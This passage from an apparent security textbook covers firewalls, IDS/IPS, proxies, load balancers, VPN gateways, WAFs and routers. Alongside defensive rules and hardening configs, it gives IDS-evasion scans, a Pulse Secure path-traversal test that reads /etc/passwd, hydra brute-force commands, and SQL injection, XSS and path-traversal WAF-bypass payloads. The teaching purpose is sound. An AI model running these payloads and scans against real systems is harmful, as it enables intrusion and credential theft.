  Affected: PAN-OS 10.2, 11.0, 11.1 with GlobalProtect enabled
  Real-world exploitation: Volexity confirmed active exploitation by
  nation-state actor (UTA0218 — likely Volt Typhoon/Chinese APT)
  attacker used to: establish reverse shells, deploy backdoors,
  pivot to internal network
  Lesson: The firewall designed to protect the network became the
  entry point. Remote management interfaces and VPN gateways
  on NGFWs are prime targets.

CVE-2022-1388 (F5 BIG-IP iControl REST, May 2022):
  CVSS: 9.8 — Critical  
  Unauthenticated iControl REST endpoint allowed authentication bypass
  Attacker could execute arbitrary commands as root
  Within 48 hours of disclosure: mass exploitation observed globally

CVE-2020-5902 (F5 BIG-IP TMUI, July 2020):
  CVSS: 10.0
  Unauthenticated RCE on the Traffic Management User Interface
  BIG-IP handles load balancing + TLS termination + WAF for major enterprises
  Attackers accessed: SSL private keys, WAF bypass, lateral movement

Fortinet FortiOS SSL-VPN vulnerabilities (recurring):
  CVE-2022-42475: Heap overflow in SSL-VPN → RCE
  CVE-2023-27997: Pre-auth heap overflow → RCE
  Multiple Chinese APT campaigns specifically targeted Fortinet devices

Firewall Rule Analysis:

# Linux iptables — view current rules:
sudo iptables -L -n -v              # All chains, numeric, verbose
sudo iptables -L -n -v --line-numbers  # With line numbers for modification
sudo iptables -t nat -L -n -v       # NAT table
sudo iptables -S                    # Exact rule syntax (can be used to rebuild)

# nftables (modern Linux firewall):
sudo nft list ruleset               # Full ruleset
sudo nft list table inet filter     # Specific table

# Test firewall rules (hping3 — craft specific packets):
sudo hping3 -S -p 80 target_ip     # TCP SYN to port 80 — is it open?
sudo hping3 -A -p 80 target_ip     # TCP ACK to port 80 — stateless fw bypass?
sudo hping3 -F -p 80 target_ip     # TCP FIN — FIN scan
sudo hping3 --udp -p 53 target_ip  # UDP to port 53

# Nmap firewall analysis:
sudo nmap -sA -p 80 target_ip      # ACK scan — map firewall rules
# Open/closed: unfiltered (stateless fw may allow ACK)
# No response: filtered (stateful fw drops unexpected ACK)

sudo nmap -sF -p 80 target_ip      # FIN scan — some firewalls don't block FIN
sudo nmap -sS --mtu 8 target_ip    # Fragmented SYN — bypass some IDS

# Check for firewall evasion via fragmentation:
sudo nmap -sS -f target_ip         # 8-byte fragments
sudo nmap -sS --mtu 24 target_ip   # 24-byte fragments
sudo nmap -sS -D RND:5 target_ip   # Decoy scan (5 fake IPs)

# Identify firewall type from responses:
sudo nmap --traceroute --script firewall-bypass target_ip

Firewall DMZ Architecture:

PROPER DMZ DESIGN:

Internet ──→ [External Firewall] ──→ DMZ ──→ [Internal Firewall] ──→ Internal LAN
                                      │
                               Web Server  Mail Server  DNS Server

Rules:
  External FW → DMZ:
    ALLOW: TCP 80, 443 to web server
    ALLOW: TCP 25 to mail server
    ALLOW: UDP 53 to DNS server
    DENY: all else

  DMZ → Internal FW:
    ALLOW: TCP 1433 from web server to DB server only
    ALLOW: TCP 389 from mail server to LDAP only
    DENY: all else

  Internal → External FW:
    ALLOW: TCP 80, 443 outbound (web browsing)
    ALLOW: UDP 53 to corporate DNS
    DENY: direct internet access on other ports

A compromised web server in DMZ:
  Can reach: only database server on specific port
  Cannot reach: workstations, other servers, domain controllers
  Lateral movement is restricted by design

Key Insight: NGFWs are the most powerful network security devices available — and they are the highest-value targets for sophisticated attackers. A compromised NGFW gives the attacker everything: TLS decryption keys, network topology visibility, the ability to bypass all inspection, and a position inline with all traffic. Every NGFW must be treated as critical infrastructure: hardened, monitored, and patched with the same urgency as domain controllers.

5. IDS and IPS — Detection and Prevention

5.1 The Difference

IDS (Intrusion Detection System): Monitors network traffic or host activity and ALERTS on suspicious patterns. It does not block traffic — it is a passive observer that generates alerts for security analysts to investigate.

IPS (Intrusion Prevention System): Deployed inline with traffic. Inspects every packet and can DROP, RESET, or MODIFY traffic in real time. If an IPS fails open (fails to block), traffic passes. If it fails closed, the network stops.

IDS DEPLOYMENT (passive):
  Network traffic → ┬────────────────────→ Destination
                    └──→ [IDS] → Alerts → SIEM/SOC

  TAP or SPAN port copies traffic to IDS
  IDS reads copy — original traffic unaffected
  No latency impact
  Cannot block threats

IPS DEPLOYMENT (inline):
  Network traffic → [IPS] → Destination
                     ↓
                   Block/Alert/Log

  All traffic passes through IPS
  IPS can block, drop, or modify packets
  Adds latency (typically <1ms on modern hardware)
  High availability required (bypass mode if IPS fails)

5.2 Detection Methods

Signature-Based Detection:
Matches traffic against a database of known attack patterns (signatures). Fast and precise for known attacks. Completely blind to novel (zero-day) attacks.

Example signatures (Snort format):
# Detect EternalBlue SMB exploit:
alert tcp any any -> any 445 (msg:"ET EXPLOIT Possible EternalBlue MS17-010"; \
    content:"|00 00 00 31|"; depth:4; content:"|ff|SMB2"; within:8; \
    sid:2024217; rev:1;)

# Detect Mimikatz credential dumping via network:
alert tcp any any -> any any (msg:"CREDENTIAL DUMP Possible Mimikatz"; \
    content:"sekurlsa"; nocase; sid:9000001; rev:1;)

# Detect SQL injection attempt:
alert tcp any any -> any 80 (msg:"SQL Injection Attempt"; \
    content:"UNION SELECT"; nocase; http_uri; sid:9000002; rev:1;)

Anomaly-Based Detection:
Establishes a baseline of "normal" behaviour and alerts when traffic deviates significantly. Can detect novel attacks. High false positive rate — every legitimate deviation generates an alert.

Anomaly detection examples:
  - DNS query volume per host: baseline = 100/hour, alert > 1000/hour
    (potential DNS tunnelling)
  - Outbound connections per host: baseline = 50/day, alert > 500/day
    (potential malware C2)
  - Data transferred per session: baseline = 1MB, alert > 100MB
    (potential data exfiltration)
  - Login failures per account: baseline = 0/hour, alert > 10/hour
    (brute force attack)
  - New external IP contacted: alert on first connection to never-seen IP
    (potential malware beacon)

Behavioural/Heuristic Detection:
Analyses sequences of events rather than individual packets. Detects attack patterns that span multiple packets or sessions.

Example behavioural rule:
  IF: host performs port scan (>50 unique ports in 60 seconds)
  AND: then connects to port 445 on a discovered host
  AND: then sends SMB traffic with specific byte patterns
  THEN: alert "Possible EternalBlue propagation attempt"

Individual events might be benign. The SEQUENCE is the indicator.

5.3 Snort and Suricata

Snort (2005, Cisco) and Suricata (2010, OISF) are the dominant open-source IDS/IPS engines.

# Install Snort on Ubuntu:
sudo apt install snort

# Basic Snort rule syntax:
# action proto src_ip src_port direction dst_ip dst_port (options)
# alert tcp 192.168.1.0/24 any -> any 445 (msg:"SMB Connection"; sid:1000001;)

# Run Snort in IDS mode (alert only):
sudo snort -A console -q -c /etc/snort/snort.conf -i eth0
# -A console: output alerts to console
# -q: quiet (no banner)
# -c: config file
# -i: interface

# Run Snort on a pcap file (useful for analysis without live traffic):
sudo snort -A console -q -c /etc/snort/snort.conf -r capture.pcap

# Install Suricata:
sudo apt install suricata

# Update Suricata rules (uses ET Open ruleset):
sudo suricata-update

# Run Suricata in IDS mode:
sudo suricata -c /etc/suricata/suricata.yaml -i eth0

# Run in IPS mode (requires nfqueue):
sudo iptables -I FORWARD -j NFQUEUE --queue-num 0
sudo suricata -c /etc/suricata/suricata.yaml -q 0
# All forwarded traffic → queue 0 → Suricata → allow/drop

# View Suricata alerts (JSON format):
sudo tail -f /var/log/suricata/eve.json | python3 -m json.tool

# Write a custom Suricata rule:
cat > /etc/suricata/rules/local.rules << 'EOF'
# Alert on connection to known Metasploit default port
alert tcp $HOME_NET any -> any 4444 (msg:"Possible Metasploit Listener"; \
    flow:established,to_server; sid:9999001; rev:1;)

# Alert on large DNS TXT responses (DNS tunnelling indicator)
alert dns any any -> any any (msg:"Large DNS TXT Response - Possible Tunnel"; \
    dns.type:response; dns.rrtype:TXT; \
    byte_test:2,>,200,0,relative; \
    sid:9999002; rev:1;)
EOF

sudo systemctl restart suricata

5.4 IDS Evasion Techniques

Understanding evasion is essential both for offensive assessments and for improving defensive detections.

# Fragmentation evasion:
# Split attack payload across multiple small IP fragments
# Some IDS inspect fragments individually, miss attack that only appears after reassembly
sudo nmap -sS -f target_ip              # 8-byte fragments
sudo nmap -sS --mtu 16 target_ip       # 16-byte fragments

# Low-and-slow evasion:
# Spread attack over long time to avoid volume-based detection
sudo nmap -T0 target_ip                # Paranoid timing — one packet every 5 minutes
# Baseline: "50 unique ports per minute" → T0 evades this threshold

# Protocol confusion:
# Use non-standard protocol fields to confuse IDS
# TTL manipulation: send two packets to same port
# Packet 1: TTL=1 (dies at first hop, IDS sees it but target doesn't)
# Packet 2: TTL=128 (reaches target)
# IDS may reassemble including Packet 1, target only processes Packet 2
# Result: IDS sees different data than target processes

# Encrypted channels:
# Use HTTPS, TLS, SSH tunnels for C2
# IDS without TLS inspection is blind to encrypted payload
# Cobalt Strike, Covenant C2 use HTTPS beaconing for this reason

# Polymorphic shellcode:
# Shellcode that changes its signature with each generation
# Signature-based IDS cannot match a pattern that changes
# XOR encoding, RC4 encryption of payload at different keys each run

# Protocol mimicry:
# Make C2 traffic look like legitimate protocol traffic
# Cobalt Strike "Malleable C2 profiles" make beacon traffic look like
# Google Analytics, Amazon CloudFront, or any web service

IPS Bypass — The False Positive Problem:

IPS bypass via false positive exploitation:
  If IPS blocks traffic matching signature X
  Attacker sends traffic that triggers signature X against legitimate servers
  IPS starts blocking legitimate servers from communicating
  Defenders disable the rule to restore service
  Attacker then uses the attack technique freely

This is a known attack against IPS deployments.
Well-tuned false positive rates are a security requirement, not just operational.

Key Insight: An IDS that generates thousands of alerts per day is effectively useless — no human can investigate them all. Alert fatigue causes analysts to ignore or dismiss alerts, missing the real attacks buried in the noise. Tuning the IDS to minimise false positives while maintaining detection of high-priority attacks is one of the most important and most neglected security engineering tasks.

6. Proxy Servers

6.1 Forward Proxy — Outbound Traffic Control

A forward proxy sits between clients and the internet. Clients send requests to the proxy; the proxy forwards them to the destination on behalf of the client.

WITHOUT PROXY:
  Client → Direct connection → Internet destination
  Destination sees: client's real IP
  Administrator sees: nothing (traffic bypasses corporate infrastructure)

WITH FORWARD PROXY:
  Client → Proxy → Internet destination
  Destination sees: proxy's IP (client IP hidden)
  Proxy logs: who requested what, when, response size
  Administrator can: enforce content filtering, scan for malware, decrypt TLS

Forward Proxy Security Functions:

Content Filtering:
  Block access to categories: malware, adult, gaming, social media
  Block specific domains or URLs
  Block file types (.exe, .js, .ps1 downloads)

URL Reputation:
  Check destination URL against threat intelligence feeds
  Block connections to known malicious domains
  Detect connections to DGA (Domain Generation Algorithm) domains

TLS Inspection:
  Client → [TLS to proxy] → Proxy decrypts → [TLS to destination]
  Proxy sees plaintext, can inspect for malware/exfiltration
  Requires installing proxy's CA certificate as trusted in all clients

Bandwidth Control:
  Rate-limit streaming services
  Throttle large downloads

Authentication:
  Require users to authenticate before internet access
  Tie internet access to user identity (NTLM, Kerberos, LDAP)

Malware Scanning:
  Scan downloaded files in real-time with antivirus
  Sandbox suspicious files before delivering to client

Proxy Security Implications — Attacking Through Proxies:

# C2 traffic designed to evade proxy:
# 1. Use HTTPS (proxy without TLS inspection is blind)
# 2. Communicate to legitimate domains (Google Docs, GitHub, Slack)
#    as dead-drops for C2 instructions
# 3. Domain fronting: use legitimate CDN as the visible destination,
#    actually communicate with attacker backend

# Configure proxy for curl (common in post-exploitation):
export http_proxy="http://proxy.company.com:8080"
export https_proxy="http://proxy.company.com:8080"
curl https://example.com

# Bypass proxy for specific destinations:
export no_proxy="10.0.0.0/8,192.168.0.0/16,localhost"

# Proxychains — route tool traffic through proxy chain:
# /etc/proxychains.conf:
# socks5 127.0.0.1 9050    ← Tor
# socks5 192.168.1.100 1080 ← SSH SOCKS proxy
proxychains nmap -sT target_ip     # Proxied Nmap
proxychains curl http://target/    # Proxied curl

# Detect proxy in environment:
env | grep -i proxy                    # Check proxy environment variables
cat /etc/environment | grep -i proxy  # System-wide proxy
cat /etc/apt/apt.conf.d/proxy.conf    # APT proxy

6.2 Reverse Proxy — Inbound Traffic Control

A reverse proxy sits in front of servers. External clients connect to the reverse proxy; the reverse proxy forwards requests to backend servers. Clients see only the reverse proxy's IP.

WITHOUT REVERSE PROXY:
  Internet → Direct connection → Web Server (IP exposed)
  Attacker can: directly target web server IP
  DDoS: send attack directly to server

WITH REVERSE PROXY:
  Internet → Reverse Proxy → Web Server(s) (IP hidden)
  Attacker sees: only reverse proxy IP
  Web server IP: hidden, protected
  Reverse proxy provides: TLS termination, load balancing, WAF, DDoS protection

Nginx as Reverse Proxy:

# /etc/nginx/sites-available/reverse_proxy
server {
    listen 443 ssl;
    server_name app.company.com;

    # TLS configuration
    ssl_certificate /etc/ssl/certs/company.crt;
    ssl_certificate_key /etc/ssl/private/company.key;
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256;

    # Security headers
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
    add_header X-Frame-Options DENY always;
    add_header X-Content-Type-Options nosniff always;

    # Rate limiting
    limit_req zone=api burst=20 nodelay;

    # Proxy to backend
    location / {
        proxy_pass http://backend_servers;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

        # Don't expose backend server information:
        proxy_hide_header Server;
        proxy_hide_header X-Powered-By;
    }

    # Block common attack paths:
    location ~* \.(php|asp|aspx|jsp)$ {
        deny all;   # Block if using Node.js backend (no PHP expected)
    }
}

Transparent Proxy:

A transparent proxy intercepts traffic without client knowledge or configuration. Used by:

ISPs for caching
Corporate networks for content filtering even when clients aren't configured to use proxy
Attackers with MITM position (evil twin AP, ARP poisoning)

# Detect if you're behind a transparent proxy:
curl -v http://httpbin.org/ip        # Real IP vs what the server sees
curl http://httpbin.org/headers      # Check for X-Forwarded-For header
# If server sees different IP than your own: you're behind proxy/NAT

# Detect proxy headers revealing internal infrastructure:
curl -v https://target.com/
# Look for: Via, X-Cache, X-Forwarded-For, X-Real-IP headers
# These can reveal: proxy software, backend server IPs, CDN details

Key Insight: Forward proxies are among the most effective controls for preventing malware C2 communication — if all outbound traffic must traverse the proxy, malware that makes direct TCP connections is blocked. But sophisticated malware uses HTTPS to legitimate cloud services (GitHub, Google, Slack, Microsoft) as dead-drops, evading even TLS-inspecting proxies. The proxy logs are still valuable for detection — unusual patterns to legitimate domains are detectable with behavioural analysis.

7. Load Balancers

7.1 What Load Balancers Do

A load balancer distributes incoming network traffic across multiple backend servers to:

Prevent any single server from being overwhelmed
Provide redundancy (if one server fails, others handle traffic)
Enable horizontal scaling (add servers to increase capacity)

LOAD BALANCER OPERATION:

Internet → [Load Balancer: 203.0.113.1] → Web Server 1 (192.168.10.1)
                                        → Web Server 2 (192.168.10.2)
                                        → Web Server 3 (192.168.10.3)

Client sees: one IP (203.0.113.1)
Actual servers: distributed load across backend pool

Load balancing algorithms:
  Round Robin:    Requests distributed sequentially: 1,2,3,1,2,3...
  Least Connections: Send to server with fewest active connections
  IP Hash:       Same client IP always goes to same server (session persistence)
  Weighted:      Servers assigned different traffic proportions (based on capacity)
  Random:        Random server selection
  Health-based:  Only route to healthy servers (monitors backend health)

7.2 Load Balancer Security Implications

TLS Termination:

Many load balancers terminate TLS:
  Client → [HTTPS] → Load Balancer → [HTTP] → Backend servers

Security implications:
  Positive:
    - Certificate management centralised at load balancer
    - Backend servers don't need TLS processing overhead
    - Load balancer can inspect HTTP content before forwarding

  Negative:
    - Traffic between load balancer and backend: unencrypted
    - If backend network is compromised: all traffic readable
    - Load balancer holds private keys: high-value target

Solution: TLS re-encryption (end-to-end TLS)
  Client → [HTTPS] → Load Balancer → [HTTPS] → Backend
  More overhead but traffic encrypted throughout

Load Balancer as Attack Vector:

# Detect load balancer and identify backend servers:
# Method 1: Multiple requests, different server headers
for i in {1..10}; do curl -s -I https://target.com | grep -i "server:\|x-powered\|via:"; done
# Different responses = load balanced

# Method 2: Different Server header or response variations
curl -s -I https://target.com
curl -s -I https://target.com
# If "Server: Apache/2.4.51" then "Server: nginx/1.18.0" → different backends

# Method 3: Direct IP access (bypasses load balancer)
# If backend IP discovered (via DNS history, SSL cert SAN, subdomain enumeration):
curl -H "Host: target.com" https://BACKEND_IP/
# May bypass WAF/load balancer security → direct attack surface

# Method 4: Load balancer vendor identification
nmap --script http-headers target.com | grep -i "x-amz\|x-forwarded\|x-envoy\|f5\|haproxy"
# X-Amz-*: AWS Application Load Balancer
# X-Envoy-*: Istio/Envoy (Kubernetes)
# F5-TrafficShield: F5 BIG-IP

Session Persistence and Security:

"Sticky sessions" (IP hash or cookie-based):
  Same client always routed to same backend server
  Required for stateful applications that don't share session state

Security issue:
  If attacker can predict or control the session cookie:
  They can force their requests to specific backend servers
  Enables targeted attacks against specific backend if one is more vulnerable

Cookie-based persistence attack:
  Load balancer inserts cookie: BIGipServerPool=1234...
  This reveals: load balancer type (BIG-IP), server ID, pool name
  Attackers use this to map backend infrastructure

Solution: Encrypt persistence cookies, use opaque session IDs

Key Insight: Load balancers are high-value targets because they sit in front of all traffic and often hold TLS private keys. Compromising a load balancer means decrypting all HTTPS traffic, bypassing WAF rules, and directly accessing backend servers without going through security controls. Always apply the same security standards (patching, hardening, monitoring) to load balancers as to the servers they protect.

8. VPN Gateways

8.1 VPN Types and Their Security Profiles

Site-to-Site VPN:
Connects two networks permanently. Traffic between the networks flows through an encrypted tunnel. Users are unaware.

Branch Office                    Corporate HQ
192.168.2.0/24 ──[VPN GW]──[Internet]──[VPN GW]── 10.0.0.0/8

All traffic from 192.168.2.0/24 to 10.0.0.0/8:
  → Encrypted in IPSec tunnel
  → Decrypted at HQ VPN gateway
  → Delivered to destination

Remote Access VPN:
Individual users connect to the corporate network from anywhere. Requires VPN client software.

Remote User → [Internet] → [VPN Gateway] → Corporate Network
  Tunnel: IPSec, OpenVPN, WireGuard, SSL VPN
  User assigned: internal IP from VPN address pool
  DNS: corporate DNS for resolution
  Split tunnel: only corporate traffic through VPN, internet direct
  Full tunnel: ALL traffic through VPN (more secure, more load)

8.2 VPN Protocols

IPSec (IKEv2 + ESP):
  Standard: RFC 4306 (IKEv2), RFC 4303 (ESP)
  Ports: UDP 500 (IKE), UDP 4500 (NAT-traversal)
  Encryption: AES-256-GCM typically
  Authentication: certificates, pre-shared key (PSK)
  Use: Enterprise, site-to-site, mobile clients

OpenVPN:
  Standard: Custom protocol over TLS
  Ports: UDP 1194 (default), can be TCP 443 (firewall bypass)
  Encryption: OpenSSL (AES-256-CBC, AES-256-GCM)
  Authentication: certificates, username/password, MFA
  Use: Remote access, privacy VPNs, flexibility
  Advantage: TCP 443 mode makes VPN traffic look like HTTPS

WireGuard:
  Standard: Modern, minimal (~4,000 lines of code vs OpenVPN's 70,000+)
  Port: UDP 51820
  Encryption: ChaCha20-Poly1305, Curve25519
  Authentication: Public key only (no certificate infrastructure)
  Performance: Fastest VPN protocol available (in-kernel on Linux)
  Security: Smaller codebase = smaller attack surface

SSL VPN (clientless):
  Access via HTTPS in browser — no client software
  Uses portal to proxy access to internal resources
  Easier to deploy than IPSec for remote users
  Examples: Pulse Secure, Citrix Gateway, Palo Alto GlobalProtect

8.3 VPN Security Vulnerabilities — A Critical Attack Surface

VPN gateways have been a primary target for sophisticated threat actors. The attack pattern: compromise VPN gateway → gain pre-authentication access to internal network → maintain persistent access.

Pulse Secure VPN (CVE-2019-11510, 2019):
  CVSS: 10.0
  Unauthenticated arbitrary file read
  Read: /etc/passwd, VPN session cookies, authentication logs
  Attackers used to steal: 7,000+ VPN credentials from companies
  APT41 (Chinese group) actively exploited
  Still used in 2021: NSA advisory warned of ongoing exploitation

Citrix ADC/Gateway (CVE-2019-19781, 2020):
  CVSS: 9.8
  Path traversal → RCE without credentials
  Tens of thousands of devices vulnerable
  Multiple APT groups and ransomware operators exploited

Pulse Secure (again, CVE-2021-22893):
  Zero-day exploited before patch available
  Mandiant reported exploitation by UNC2630 and UNC2717 (suspected Chinese APT)
  Victims: US Defence Industrial Base, European companies

Fortinet SSL-VPN (CVE-2022-42475, 2022):
  Heap buffer overflow → RCE
  Chinese APT Volt Typhoon used similar Fortinet vulnerabilities for initial access
  into US critical infrastructure

F5 BIG-IP (CVE-2023-46747, 2023):
  Authentication bypass → RCE
  CVSS: 9.8
  Active exploitation within days of disclosure

Common thread: VPN gateways are always-on, internet-facing, and handle authentication.
They are the keys to the kingdom, so attackers prioritise them.

VPN Security Assessment:

# Identify VPN software and version (banner grabbing):
curl -sk https://vpn.target.com/ | grep -iE "version|product|ssl-vpn|fortinet|pulse|citrix"

# Check for known vulnerable VPN pages:
# Pulse Secure: /dana-na/auth/url_default/welcome.cgi
# Fortinet: /remote/login
# Citrix: /vpn/index.html

curl -sk https://vpn.target.com/dana-na/auth/url_default/welcome.cgi | head -20

# Test for CVE-2019-11510 (Pulse Secure file read):
curl -sk "https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/"
# If returns /etc/passwd content: vulnerable

# Enumerate valid VPN usernames (some VPNs respond differently):
hydra -L users.txt -P /dev/null vpn.target.com -s 443 https-form-post \
    "/dana-na/auth/url_default/login.cgi:username=^USER^&password=^PASS^:F=Login failed"

# WireGuard port scan:
sudo nmap -sU -p 51820 target_ip
# No response or ICMP unreachable: may be WireGuard (it doesn't respond to unauthenticated packets)

# Split tunnel detection (from inside VPN):
ip route show                        # If default route through VPN: full tunnel
# If only corporate ranges through VPN: split tunnel
# Security difference: split tunnel → internet traffic bypasses corporate monitoring

VPN Kill Switch:

# Configure firewall to block all traffic if VPN disconnects:
# This prevents traffic from leaking unencrypted if VPN drops

# Linux iptables kill switch:
# Default: drop all outbound
iptables -P OUTPUT DROP
iptables -P INPUT DROP
iptables -P FORWARD DROP

# Allow loopback:
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT

# Allow VPN interface when established:
iptables -A INPUT -i tun0 -j ACCEPT
iptables -A OUTPUT -o tun0 -j ACCEPT

# Allow VPN connection establishment:
iptables -A OUTPUT -p udp --dport 1194 -j ACCEPT    # OpenVPN
iptables -A OUTPUT -p udp --dport 51820 -j ACCEPT   # WireGuard
iptables -A INPUT -p udp --sport 1194 -j ACCEPT

# Now: if VPN drops, ALL traffic blocked — no leaks
# Only resumes when VPN reconnects and tun0 comes back up

Key Insight: VPN gateways are the most frequently exploited initial access vector used by sophisticated nation-state actors and ransomware groups in the 2020s. The pattern is consistent: pre-auth vulnerability in VPN → foothold inside network → lateral movement → impact. Patching VPN gateways and monitoring their authentication logs deserves the highest priority of any internet-facing system.

9. WAF — Web Application Firewall

9.1 What a WAF Does and How

A WAF operates at Layer 7, specifically for HTTP/HTTPS traffic. Unlike a network firewall that filters based on IPs and ports, a WAF inspects the HTTP request and response content.

WAF INSPECTION POINTS:

Incoming HTTP request:
  ├── URL path (/../../etc/passwd → path traversal blocked)
  ├── Query string (?id=1 UNION SELECT → SQL injection blocked)
  ├── HTTP headers (User-Agent, Cookie, Referer)
  ├── Request body (POST data, JSON, XML)
  └── File uploads (malicious file type/content blocked)

Outgoing HTTP response:
  ├── Credit card patterns (PCI-DSS requirement)
  ├── Social Security numbers
  ├── Error messages revealing internal paths/version info
  └── Sensitive data patterns

WAF Position:
  Client → [WAF] → Web Application
  WAF can: BLOCK (return 403), ALERT, MODIFY (sanitise input), LOG

9.2 WAF Detection Methods

Positive Security Model (Whitelist):
Define what valid requests look like. Everything else is blocked. Extremely effective but requires significant effort to define valid request profiles. Used for critical, well-defined APIs.

Negative Security Model (Blacklist):
Define known attack patterns. Everything not matching is allowed. Easier to deploy. Misses novel attacks. Most commercial WAFs use this as default.

Machine Learning:
Learns "normal" request patterns from traffic. Flags statistical anomalies. Effective for detecting novel attacks and reducing false positives.

9.3 WAF Bypass Techniques

Understanding WAF bypass is essential both for penetration testers (demonstrating that a WAF is insufficient protection alone) and for defenders (improving WAF rules).

# WAF detection:
wafw00f https://target.com           # Identify WAF type
# Output: Detected: Cloudflare, AWS WAF, Imperva, F5 ASM, etc.

# SQLmap WAF bypass options:
sqlmap -u "https://target.com/page?id=1" --tamper=space2comment
# --tamper options:
#   space2comment: replace spaces with /**/
#   between: add BETWEEN comparisons
#   charencode: URL encode characters
#   base64encode: encode in base64
#   apostrophemask: replace ' with %EF%BC%87

# Manual SQL injection WAF bypass techniques:
# Standard (blocked): ' UNION SELECT 1,2,3--
# Bypass variants:
' /*!UNION*/ /*!SELECT*/ 1,2,3--         # MySQL comment bypass
' UNION%20SELECT 1,2,3--                  # URL encoding
' UNION%09SELECT 1,2,3--                  # Tab instead of space
' UNION(SELECT 1,2,3)--                   # Parentheses
' UniOn SeLeCt 1,2,3--                    # Mixed case (some WAFs are case-sensitive)
' UNION SELECT NULL,NULL,NULL--           # NULL values (avoid type issues)

# XSS WAF bypass:
# Standard (blocked): <script>alert(1)</script>
# Bypass variants:
<img src=x onerror=alert(1)>              # Different tag
<svg onload=alert(1)>                     # SVG
<iframe srcdoc="<script>alert(1)</script>"> # Nested
javascript:alert(1)                       # Protocol
<SCRIPT>alert(1)</SCRIPT>                # Uppercase
<scr<script>ipt>alert(1)</scr</script>ipt> # Double nested
alert`1`                                  # Template literal (no parens)
eval(atob('YWxlcnQoMSk='))              # Base64 encoded

# Path traversal WAF bypass:
# Standard (blocked): ../../../etc/passwd
# Bypass:
....//....//....//etc/passwd             # Double encoding
..%2F..%2F..%2Fetc/passwd                # URL encoded slash
..%252F..%252Fetc/passwd                 # Double URL encoded
%2e%2e/%2e%2e/etc/passwd                 # Encoded dots

WAF Architecture Attacks:

# Origin server bypass:
# Many WAFs protect public IP, but backend may be directly accessible

# Find origin IP behind WAF:
# Method 1: Historical DNS records
curl "https://securitytrails.com/domain/target.com/history/a"
# Method 2: DNS history tools
host target.com 8.8.8.8              # Current IP
# Check: Shodan, Censys, for origin IP matching content fingerprint

# Method 3: Subdomain enumeration
# Often: api.target.com, origin.target.com, direct.target.com bypass WAF

# Method 4: Certificate transparency logs reveal subdomains
curl "https://crt.sh/?q=%25.target.com&output=json" | python3 -m json.tool | grep name_value

# Once origin IP found:
curl -H "Host: target.com" http://ORIGIN_IP/
# WAF is bypassed — direct attack on application

Key Insight: A WAF is not a substitute for secure application development. It is a compensating control that raises the bar for attackers — but every WAF can be bypassed given sufficient time and creativity. The true value of a WAF is reducing the effectiveness of automated attack tools and script kiddies, logging attack attempts for intelligence, and buying time to patch vulnerabilities. Applications must be secure at the code level; WAF is the defence-in-depth layer, not the primary defence.

10. Modem vs Router

10.1 The Physical Connection to the Internet

Modem (Modulator-Demodulator):
Converts between the digital signals your network uses and the signal type of your internet connection medium (phone line, cable, fibre, cellular).

DSL Modem:   Digital data ↔ Analogue phone line signal (ADSL, VDSL)
Cable Modem: Digital data ↔ DOCSIS cable signal (coax)
Fibre ONT:   Digital data ↔ Optical fibre (PON - Passive Optical Network)
4G/5G Modem: Digital data ↔ Radio frequency cellular signal

The modem handles the physical and data link layer conversion. It typically does NOT perform routing, NAT, or firewalling in its pure form.

Router:
Routes IP packets between networks. In home/SOHO contexts, typically performs:

NAT (sharing one ISP IP among multiple devices)
DHCP server (assigns IPs to local devices)
Basic stateful firewall (blocks unsolicited inbound)
DNS forwarding
Wi-Fi access point (if combined device)

10.2 The Combined Device — Gateway

What most people call a "router" at home is actually a combined device:

Modem (converts ISP signal)
Router (NAT, routing)
Firewall (basic stateful)
DHCP server
DNS forwarder
Wi-Fi access point

These "home gateway" devices are extremely common attack targets.

Home Gateway Security Issues:

1. Default credentials:
   admin/admin, admin/password, admin/1234, user/user
   Many users never change them
   Shodan shows millions of home routers with default creds accessible

2. UPnP enabled by default:
   Applications can automatically open firewall rules
   Malware exploits UPnP to create persistent inbound access
   Disable UPnP on all home/SOHO routers

3. Remote management exposed:
   HTTP/HTTPS management accessible from internet
   Allows brute force and exploitation from anywhere
   Should be: disabled, or restricted to LAN-only

4. Outdated firmware:
   Home routers rarely receive automatic updates
   Vulnerabilities persist for years

5. DNS-over-WAN attacks:
   DNS rebinding attacks through router

Real-world impact:
   Mirai botnet (2016): compromised ~600,000 routers/IoT devices via
   default credentials, launched 1.2 Tbps DDoS
   VPNFilter (2018): sophisticated malware on 500,000 routers in 54 countries
   Used for: credential theft, network scanning, modifying web traffic
   Attributable to Sandworm (Russian GRU)

# Router security assessment:

# Identify router model from network:
nmap -O 192.168.1.1                    # OS detection
curl -s http://192.168.1.1/ | grep -iE "model|version|firmware|router"

# Check for common router admin panels:
for port in 80 443 8080 8443 8888; do
    curl -sk -o /dev/null -w "%{http_code}" http://192.168.1.1:$port/ && echo " port $port"
done

# Test default credentials (manual):
curl -s http://admin:admin@192.168.1.1/
curl -s http://admin:password@192.168.1.1/

# Check if remote management is enabled:
# Try accessing router from external perspective:
# (Use a different network or online scanner)
nmap -sV -p 80,443,8080,8443 EXTERNAL_ROUTER_IP

# Check for UPnP:
upnpc -l 2>/dev/null                   # List current UPnP port forwards
# Any entries: applications have opened holes in the firewall

# Shodan for your router:
# shodan host EXTERNAL_IP
# Shows services visible from internet — router panel should NOT appear

# Router CVE checking:
# Identify model from router admin page
# Search: nvd.nist.gov for model name
# Common vulnerable models: D-Link DIR-xxx, TP-Link Archer xxx, Netgear R-xxx

11. Network Device Security — Cross-Cutting Concerns

11.1 Default Credentials — The Universal Problem

Every network device ships with default credentials. Default credentials are:

Published in vendor documentation (anyone can find them)
Identical across all devices of the same model
Almost never changed in OT/industrial environments
The first thing every automated scanner tests

# Comprehensive default credential testing:

# For network devices, start with these:
# admin/admin, admin/password, admin/(blank), root/root, cisco/cisco
# administrator/administrator, operator/operator, user/user

# Router targets:
hydra -l admin -P /usr/share/wordlists/rockyou.txt http-get://192.168.1.1/
# Or use default credential wordlists:
hydra -C /usr/share/seclists/Passwords/Default-Credentials/default-passwords.csv \
    http-get://192.168.1.1/

# SSH on network devices:
